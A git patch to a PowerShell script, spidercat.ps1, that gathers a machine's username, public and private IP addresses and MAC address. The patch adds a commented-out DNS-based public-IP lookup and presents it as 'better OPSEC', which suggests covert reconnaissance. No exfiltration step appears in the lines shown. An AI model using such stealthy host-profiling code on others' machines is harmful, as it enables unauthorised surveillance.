From 3221fbba4dd4351d73472b58f9b1b164697c0b6e Mon Sep 17 00:00:00 2001 From: PJ Date: Tue, 7 Mar 2023 11:40:33 -0600 Subject: [PATCH] Update spidercat.ps1 It appears that this relies on curl.exe being present and usable on the system, this method would allow full usage of Powershell v3+, and provide better OPSEC by using Googles public DNS rather than a 3rd party website. --- spidercat.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/spidercat.ps1 b/spidercat.ps1 index 1ae264f..89f9adc 100644 --- a/spidercat.ps1 +++ b/spidercat.ps1 @@ -10,6 +10,8 @@ $username = $env:username $markdown = "$account.md" # network values +# possible replacement for using curl.exe (better OPSEC) +# $public = Resolve-DnsName -Server ns1.google.com -Type TXT -Name o-o.myaddr.l.google.com | Select-Object -ExpandProperty 'Strings' $public = curl.exe https://ident.me $private = (get-WmiObject Win32_NetworkAdapterConfiguration|Where {$_.Ipaddress.length -gt 1}).ipaddress[0] $MAC = ipconfig /all | Select-String -Pattern "physical" | select-object -First 1; $MAC = [string]$MAC; $MAC = $MAC.Substring($MAC.Length - 17)